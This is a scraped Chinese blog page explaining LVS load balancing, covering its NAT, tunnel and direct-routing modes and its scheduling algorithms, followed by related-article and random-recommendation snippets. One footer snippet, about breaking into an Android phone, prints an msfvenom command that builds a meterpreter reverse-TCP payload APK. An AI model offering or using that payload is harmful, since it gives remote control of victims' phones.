001.LVS简介及算法
一 LVS简介
1.1 LVS介绍
1.2 LVS主要作用
1.3 LVS体系结构

二 LVS工作模式
- VS/NAT模式(Network address translation)
- VS/TUN模式(tunneling)
- DR模式(Direct routing)
2.1 VS/NAT-NAT模式:网络地址转换Virtualserver via Network address translation

- 客户端请求数据,目标IP为VIP。
- 请求数据到达LB服务器,LB根据调度算法将目的地址修改为RIP地址及对应端口(此RIP地址根据调度算法得出)并在连接HASH表中记录下这个连接。
- 数据包从LB服务器到达RS服务器webserver,然后webserver进行响应。Webserver的网关必须是LB,然后将数据返回给LB服务器。
- 收到RS的返回后的数据,根据连接HASH表修改源地址VIP,目标地址修改CIP,及对应端口80.然后数据就从LB出发到达客户端。
- 客户端收到的就只能看到VIP\DIP信息。
- NAT技术请求报文和响应报文都需要经过LB进行地址改写,因此网站访问量比较大的时候LB负载均衡调度器有比较大的瓶颈,一般要求最多只能10-20台节点;
- 只需要在LB上配置一个公网IP地址就可以了;
- 每台内部的节点服务器的网关地址必须是调度器LB的内网地址;
- NAT模式支持对IP地址和端口进行转换,即用户请求的端口和真实服务器的端口可以不一致。
2.2 TUN模式:virtual server via ip tunneling模式

- 客户请求数据包,目标地址VIP发送到LB上。
- LB接收到客户请求包,进行IP Tunnel封装,即在原有的包头加上IP Tunnel的包头。
- RS节点服务器根据IP Tunnel包头信息(即逻辑上的隐形隧道,只有LB和RS之间匹配)收到请求包,然后解开IP Tunnel包头信息,得到客户的请求包并进行响应处理。
- 响应处理完毕之后,RS服务器使用RS出公网的线路,将响应数据包发送给客户端,源IP地址依旧为VIP地址。
- VS/TUN模式和NAT模式不同的是,它在LB和RS之间的传输不用改写IP地址。
- 将客户请求包封装在一个IP tunnel里面,然后发送给RS节点服务器,节点服务器接收到之后解开IP tunnel后,进行响应处理。
- 响应报文直接通过RS的外网地址发送给客户不用经过LB服务器。
2.3 DR模式:直接路由模式,Virtual server via direct routing

- 客户请求数据包,目标地址VIP发送到LB上。
- LB根据各个真实服务器的负载情况,连接数多少等,动态地选择一台服务器,不修改目标IP地址和目标端口,也不封装IP报文,而是将请求报文的数据帧的目标MAC地址改为真实服务器的MAC地址。
- 将修改的数据帧在服务器组的局域网上发送,因为数据帧的MAC地址是真实服务器的MAC地址,并且在同一个局域网。那么根据局域网的通讯原理,RS是一定能够收到由LB发出的数据包。
- 真实服务器接收到请求数据包,其IP包头的目标IP是VIP(RS的lo接口也必须配置此IP),处理之后直接将响应数据包通过自身的网络发送至客户,源IP地址为VIP。
三 调度算法
3.1 算法简介
3.2 调度算法常用场景
- 一般的网络服务,如http,mail,mysql等常用的LVS调度算法为:
- 基于局部性的最小连接lblc和带复制的给予局部性最小连接lblcr主要适用于web cache和DB cache
- 源地址散列调度SH和目标地址散列调度DH可以结合使用在防火墙集群中,可以保证整个系统的出入口唯一。
001.LVS简介及算法的更多相关文章
- Linux负载均衡软件LVS简介
Linux负载均衡软件LVS LVS集群的体系结构以及特点 1. LVS简介 LVS是Linux Virtual Server的简称,也就是Linux虚拟服务器, 是一个由章文嵩博士发起 ...
- linux之LVS简介(转自南非的蚂蚁)
一. LVS简介LVS是Linux Virtual Server的简称,也就是Linux虚拟服务器, 是一个由章文嵩博士发起的自由软件项目,它的官方站点是www.linuxvirtualserver. ...
- LVS负载均衡(LVS简介、三种工作模式、十种调度算法)
一.LVS简介 LVS(Linux Virtual Server)即Linux虚拟服务器,是由章文嵩博士主导的开源负载均衡项目,目前LVS已经被集成到Linux内核模块中.该项目在Linux内核中实现 ...
- LVS负载均衡软件使用及(LVS简介、三种工作模式、十种调度算法)
一.LVS简介 LVS(Linux Virtual Server)即Linux虚拟服务器,目前LVS已经被集成到Linux内核模块中.该项目在Linux内核中实现了基于IP的数据请求负载均衡调度方案, ...
- LVS简介
LVS 编辑 LVS是Linux Virtual Server的简写,意即Linux虚拟服务器,是一个虚拟的服务器集群系统.本项目在1998年5月由章文嵩博士成立,是中国国内最早出现的自由软件项目之一 ...
- 001.HAProxy简介
一 HAProxy简介 HAProxy是可提供高可用性.负载均衡以及基于TCP(从而可以反向代理mysql等应用)和HTTP应用的代理,支持虚拟主机,它是免费.快速并且可靠的一种解决方案.HAProx ...
- 001.Ceph简介概述
一 Ceph简介 Red Hat Ceph是一个分布式的数据对象存储,系统设计旨在性能.可靠性和可扩展性上能够提供优秀的存储服务.分布式对象存储是存储的未来,因为它们适应非结构化数据,并且客户端可以同 ...
- LVS简介与使用
一.LVS是什么? LVS的英文全称是Linux Virtual Server,即Linux虚拟服务器.它是我们国家的章文嵩博士的一个开源项目.在linux内存2.6中,它已经成为内核的一部分,在此之 ...
- 001.Heartbeat简介
一 Heartbeat简介 1.1 概述 Heartbeat是Linux-HA项目中的一个组件,也是当前开源HA项目中最成功的一个例子,它提供了所有HA软件所需要的基本功能,如心跳检测和资源接管.监测 ...
随机推荐
- php 设置中文 cookie, js获取
参考链接:http://www.nowamagic.net/librarys/veda/detail/1271 http://www.ruanyifeng.com/blog/2008/06/base6 ...
- Java读取Excel文件转换成JSON并转成List——(七)
Jar包
- SpringMVC使用Hession发布远程服务
(1)三个项目,Api(存放提供者和消费者共有的xx,例如实体类以及服务接口等等).Service(服务提供者).Provider(服务消费者) Api部分代码 package cn.coreqi.e ...
- Faster rcnn代码理解(1)
这段时间看了不少论文,回头看看,感觉还是有必要将Faster rcnn的源码理解一下,毕竟后来很多方法都和它有相近之处,同时理解该框架也有助于以后自己修改和编写自己的框架.好的开始吧- 这里我们跟着F ...
- 关于出现Not an editor command: Bundle '**/*.vim'的解决方案【转】
转自:https://blog.csdn.net/YHM07/article/details/49717933 操作系统: $ uname -r 2.6.32-573.7.1.el6.x86_64 $ ...
- CSS导航条nav简单样式
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- nginx报错:403 Forbidden 并且访问首页index.php是下载文件的状态
nginx报错:403 Forbidden 并且访问首页index.php是下载文件的状态,不能正常解析php 系统有其他两个站访问是正常的 看日志没有看到明显的错误 搜索了下: 答案如下: php的 ...
- swift的一些知识点(不断完善中)
首先,隆重推荐文章http://www.infoq.com/cn/articles/swift-brain-gym-optional swift 烧脑体操!目前有4篇文章,说的都很好! 1. 应该充分 ...
- MSF初体验—入侵安卓手机
1.生成apk程序 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=5555 R > apk.apk ...
- 【python】time和datetime的strptime不是线程安全的!
来源:http://blog.csdn.net/kevin6216/article/details/9021039 在多线程中用strptime需要加锁!!!